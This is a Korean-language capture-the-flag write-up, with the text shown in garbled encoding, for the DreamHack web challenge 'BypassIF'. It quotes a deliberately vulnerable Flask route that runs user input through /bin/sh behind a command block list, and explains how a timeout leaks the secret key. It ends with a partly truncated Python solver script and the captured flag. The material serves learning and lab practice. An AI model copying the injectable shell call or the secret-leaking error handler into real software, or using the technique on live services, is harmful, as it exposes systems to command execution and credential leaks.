2026-06-04ยท1๋ถ ์ฝ๊ธฐยท
Admin KEY๋ฅผ ๋ชจ๋ฅด๋๋ฐ KEY๋ md5(flag)๋ค. ๋ช ๋ น ํํฐ๋ฅผ ํต๊ณผํ๋ sleep์ผ๋ก ์ผ๋ถ๋ฌ ํ์์์์ ๋ด๋ฉด except ๋ถ๊ธฐ๊ฐ KEY๋ฅผ ์๋ต์ ๊ทธ๋๋ก ํ๋ฆฐ๋ค. ์ ์ถํ KEY๋ฅผ ๋ค์ ์ ์ถํด ํ๋๊ทธ๋ฅผ ๋ฐ์๋ธ ๊ณผ์ ์ ์ ๋ฆฌํ๋ค.
์ด ๊ธ์ด ๋์์ด ๋๋์?
๋ฌธ์ : DreamHack โ BypassIF ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 3 FLAG:
DH{9c73a5122e06f1f7a245dbe628ba96ba68a8317de36dba45f1373a3b9a631b92}
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | BypassIF |
| ๋์ด๋ | ๐ฅ Bronze 3 |
| ๋ถ๋ฅ | Web (Flask) |
| ์ ๊ณต ํ์ผ / ์๋ฒ | app.py ๋ฑ ์์ค ์ผ์ฒด / http://<instance-host>:<port>/ (์ธ์คํด์ค๋ง๋ค ๋ณ๊ฒฝ) |
| ํต์ฌ ์ทจ์ฝ์ / ๊ธฐ๋ฒ | ๋ช ๋ น ํํฐ ์ฐํ โ ํ์์์ ์์ธ๋ก KEY ์ ์ถ |
"Admin์ KEY๊ฐ ํ์ํฉ๋๋ค. ์๋ง์ KEY๋ฅผ ์ ๋ ฅํด ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์."
์์ค๋ฅผ ๊น๋ณด๋ฉด KEY๋ md5(flag)๋ค. ํ๋๊ทธ๋ฅผ ๋ชจ๋ฅด๋ KEY๋ ์ง์ ๋ง๋ค ์ ์๋ค. ๊ทธ๋ฐ๋ฐ KEY๋ฅผ ๋ชจ๋ฅด๋ ์ฑ๋ก KEY๋ฅผ ์์ ๋ฃ๊ฒ ํด์ฃผ๋ ๊ตฌ๋ฉ์ด ์ฝ๋ ์์ ๊ทธ๋๋ก ๋ค์ด์๋ค. ์ ๋ชฉ์ IF๋ ๊ทธ ๊ตฌ๋ฉ์ด ์๋ ๋ถ๊ธฐ๋ฌธ์ ๊ฐ๋ฆฌํจ๋ค.

/flag ํ ๊ตฐ๋ฐ์ ๋ชจ๋ ๊ฒ ๋ชจ์ฌ ์๋คํต์ฌ์ app.py์ /flag ๋ผ์ฐํธ๋ค. ์ ๋ถ ์ฎ๊ธฐ๋ฉด ์ด๋ ๋ค.
FLAG = open("./flag.txt", "r").read()
KEY = hashlib.md5(FLAG.encode()).hexdigest() # KEY = md5(flag)
guest_key = hashlib.md5(b"guest").hexdigest()
def filter_cmd(cmd):
alphabet = list(string.ascii_lowercase) # a-z
alphabet.extend([' ']) # + ๊ณต๋ฐฑ
alphabet.extend('0123456789') # + ์ซ์
command_list = ['flag','cat','chmod','head','tail','less','awk','more','grep']
for c in command_list:
if c in cmd:
return True # ๊ธ์ง ๋จ์ด โ ์ฐจ๋จ
for c in cmd:
if c not in alphabet:
return True # ํ์ฉ ๋ฌธ์ ์ธ โ ์ฐจ๋จ
# ๋ ๋ค ํต๊ณผํ๋ฉด ์๋ฌต์ ์ผ๋ก None ๋ฐํ (falsy)
@app.route('/flag', methods=['POST'])
def flag():
key = request.form.get('key', '')
cmd = request.form.get('cmd_input', '')
if cmd == '' and key == KEY:
return render_template('flag.html', txt=FLAG) # โ ๋ชฉํ
elif cmd == '' and key == guest_key:
return render_template('guest.html', txt=f"guest key: {guest_key}")
if cmd != '' or key == KEY:
if not filter_cmd(cmd):
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('flag.html', txt=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('flag.html', txt=f'Timeout! Your key: {KEY}')
except subprocess.CalledProcessError:
return render_template('flag.html', txt="Error!")
return render_template('flag.html')
...์ธ ๊ฐ์ง๊ฐ ๋์ ๋ค์ด์จ๋ค.
cmd_input์ด ๋น์ด์์ง ์์ผ๋ฉด if cmd != '' or key == KEY:๊ฐ ์ฐธ์ด ๋๊ณ , ํํฐ๋ง ํต๊ณผํ๋ฉด /bin/sh -c cmd๊ฐ ๊ทธ๋๋ก ์คํ๋๋ค. ์ฌ์ค์ ๋ช
๋ น ์ธ์ ์
์ด๋ค.
๋์ filter_cmd๊ฐ ์
๋ ฅ์ ๊ฒ์ฌํ๋ค. ๊ธ์ง ๋จ์ด(flag, cat, chmod, head, tail, less, awk, more, grep)๊ฐ ๋ค์ด์์ผ๋ฉด ๋ง๊ณ , ์๋ฌธ์ยท๊ณต๋ฐฑยท์ซ์ ์ธ์ ๋ฌธ์๊ฐ ํ๋๋ผ๋ ์์ผ๋ฉด ๋ง๋๋ค. /, ., *, ?, ๋ฐ์ดํ๊ฐ ์ ๋ถ ๊ฑธ๋ฆฐ๋ค.
๊ทธ๋ฆฌ๊ณ ๋ง์ง๋ง โ ์คํ์ด 5์ด๋ฅผ ๋๊ธฐ๋ฉด TimeoutExpired๋ก ๋น ์ง๋ฉด์ f'Timeout! Your key: {KEY}'๋ฅผ ์๋ต์ ๋ฐ์ ๋ฃ๋๋ค. KEY๋ฅผ ๋ชจ๋ฅด๋ ์ฌ๋ํํ
KEY๋ฅผ ์น์ ํ๊ฒ ์๋ ค์ฃผ๋ ์ค์ด๋ค.
์ฒ์์ ๋ช ๋ น ์คํ์ด ๋๋ ๊ทธ๋ฅ ํ๋๊ทธ ํ์ผ์ ์ฝ์ผ๋ฉด ๋์ด๋ผ๊ณ ์๊ฐํ๋ค. ๊ทธ๋ฐ๋ฐ ๋ง์ ํด๋ณด๋ฉด ์ ๋๋ค.
flag.txt์ธ๋ฐ flag๋ ๊ธ์ง ๋จ์ด๋ค..๋ ํ์ฉ ๋ฌธ์๊ฐ ์๋๋ผ ๋งํ๋ค. / ์ญ์ ๋งํ ๊ฒฝ๋ก๋ฅผ ์ธ ์ ์๋ค.*, ? ๊ฐ์ ๊ธ๋กญ ๋ฌธ์๋ ํ์ฉ ๋ชฉ๋ก์ ์๋ค.์๋ฌธ์ยท์ซ์ยท๊ณต๋ฐฑ๋ง์ผ๋ก flag.txt๋ฅผ ๊ฐ๋ฆฌํฌ ๋ฐฉ๋ฒ์ด ์๋ค. cat, grep, head ๋ฅ ์ฝ๊ธฐ ๋ช
๋ น๋ ์ฃ๋ค ๊ธ์ง์ด๋ค. ํ์ผ์ ์ง์ ๊ธ๋ ๊ธธ์ ๋ซํ ์๋ค.
๊ทธ๋ผ ๋จ์ ๊ฑด KEY๋ฅผ ํ๋ฆฌ๊ฒ ๋ง๋๋ TimeoutExpired ๋ถ๊ธฐ๋ค.
sleep 10์ ๋ณด์. ์๋ฌธ์์ ๊ณต๋ฐฑ, ์ซ์๋ง์ผ๋ก ์ด๋ฃจ์ด์ ธ ์๊ณ ๊ธ์ง ๋จ์ด๋ ์๋ค. filter_cmd๋ฅผ ๊ทธ๋๋ก ํต๊ณผํ๋ค.
filter_cmd("sleep 10") # โ None (falsy) โ not None == True โ ์คํ์คํ๋๋ฉด /bin/sh -c "sleep 10"์ด 10์ด๋ฅผ ์๋ค. timeout=5์ ๊ฑธ๋ ค TimeoutExpired๊ฐ ํฐ์ง๊ณ , ์๋ฒ๋ ์ด๋ ๊ฒ ๋ตํ๋ค.
Timeout! Your key: <md5(flag)>KEY๋ฅผ ๋ชจ๋ฅธ ์ฑ๋ก KEY๋ฅผ ๋ฐ์๋๋ค. sleep 10 ํ ์ค์ด ์ ๋ถ๋ค.

์ด์ ๋งจ ์ ๋ถ๊ธฐ๋ก ๋์๊ฐ๋ค.
if cmd == '' and key == KEY:
return render_template('flag.html', txt=FLAG)cmd_input์ ๋น์๋๊ณ key์ ๋ฐฉ๊ธ ์ ์ถํ ํด์๋ฅผ ๋ฃ์ด POSTํ๋ฉด cmd == '' and key == KEY๊ฐ ์ฐธ์ด ๋์ด flag.html์ด ์ง์ง ํ๋๊ทธ๋ฅผ ๋ ๋ํ๋ค.
์ฐธ๊ณ ๋ก guest_key = md5("guest")๋ ์์ค์ ๊ทธ๋๋ก ๋ฐํ ์์ด์, ๊ทธ ๊ฐ์ ๋ฃ์ผ๋ฉด guest ํ์ด์ง๊ฐ ๋ฌ๋ค. ์ธ์ฆ ํ๋ฆ์ด ์ด๋ป๊ฒ ๊ฐ๋ฆฌ๋์ง ํ์ธํ๋ ์ฉ๋๋ก๋ง ์๋ฏธ๊ฐ ์๊ณ ํ๋๊ทธ์๋ ๋ฌด๊ดํ๋ค.

๋ ๋ฒ์ ์์ฒญ์ด๋ฉด ๋๋๋ค.
#!/usr/bin/env python3
import re
import requests
BASE = "http://host8.dreamhack.games:12588"
# 1) ํํฐ ํต๊ณผํ๋ sleep์ผ๋ก ์ผ๋ถ๋ฌ 5์ด ํ์์์ โ except ๋ถ๊ธฐ์์ KEY ๋
ธ์ถ
r = requests.post(f"{BASE}/flag", data={"key": "", "cmd_input": "sleep 10"}, timeout=30)
key = re.search(r"Your key: ([0-9a-f]{32})", r.text).group(1)
print(f"[+] leaked KEY (md5 of flag): {key}")
# 2) ์ ์ถํ KEY๋ฅผ cmd_input='' ์ ํจ๊ป ์ ์ถ โ flag.html์ด ์ง์ง ํ๋๊ทธ ๋ ๋
r = requests.post(f
[+] leaked KEY (md5 of flag): 409ac0d96943d3da52f176ae9ff2b974
[+] FLAG: DH{9c73a5122e06f1f7a245dbe628ba96ba68a8317de36dba45f1373a3b9a631b92}
์ ์ถ๋ KEY๊ฐ ์ค์ md5(flag)์ ๋ง๋์ง๋ ํ์ธํด๋๋ฉด ๊น๋ํ๋ค.
>>> import hashlib
>>> hashlib.md5(b"DH{9c73a5122e06f1f7a245dbe628ba96ba68a8317de36dba45f1373a3b9a631b92}").hexdigest()
'409ac0d96943d3da52f176ae9ff2b974' # = ์ ์ถํ KEY
DH{9c73a5122e06f1f7a245dbe628ba96ba68a8317de36dba45f1373a3b9a631b92}ํํฐ๋ ์ ๋ ฅ๋ง ๋ณธ๋ค.
filter_cmd๋ ๊ธ์ง ๋จ์ด์ ํ์ฉ ๋ฌธ์๋ฅผ ๊ผผ๊ผผํ ๊ฒ์ฌํ์ง๋ง, sleep์ฒ๋ผ ๋ฌดํดํด ๋ณด์ด๋ ๋ช
๋ น์ ๋ง์ ์ด์ ๊ฐ ์๋ค. ๋ฌธ์ ๋ ๊ทธ ๋ช
๋ น์ด ๋ง๋ค์ด๋ด๋ ์ํ โ 5์ด๋ฅผ ๋๊ธฐ๋ ์คํ ์๊ฐ โ ๋ฅผ ์๋ฌด๋ ๊ฒ์ฌํ์ง ์์๋ค๋ ์ ์ด๋ค.
์๋ฌ ๋ฉ์์ง์ ๋น๋ฐ์ ๋ด์ง ์๋๋ค.
Timeout! Your key: {KEY}. ๋๋ฒ๊น
์ฉ์ผ๋ก ๋ผ์ ๋ฃ์์ ๋ฒํ ํ ์ค์ด์ง๋ง, ์ด KEY๋ ๊ณง ํ๋๊ทธ์ ํด์๋ค. ์์ธ ๊ฒฝ๋ก๋ ์ ์ ๊ฒฝ๋ก๋งํผ ์์ฃผ ์ ๊ฒ๋ฐ์ง ๋ชปํด์ ์ด๋ฐ ๋์ถ์ด ์ ๋จ๋๋ค.
ํ์ผ์ ์ง์ ๋ชป ์ฝ์ด๋ ์ฐํ๋ก๋ ์๋ค.
flag, ., /๊ฐ ๋ค ๋งํ ํ์ผ ์ฝ๊ธฐ๋ ๋ซํ ์์์ง๋ง, ๊ฒฐ๊ตญ ํ์ํ ๊ฑด ํ์ผ ๋ด์ฉ์ด ์๋๋ผ KEY์๊ณ ๊ทธ๊ฑด ํ์์์ ํ ๋ฒ์ผ๋ก ๋์๋ค. ๋งํ ์ ๋ฌธ ๋์ ์ฝ๋๊ฐ ์ค์ค๋ก ์ด์ด๋ ์๋ฌธ์ ์ฐพ๋ ๊ฒ ์ด ๋ฌธ์ ์ ์ ๋ถ์๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ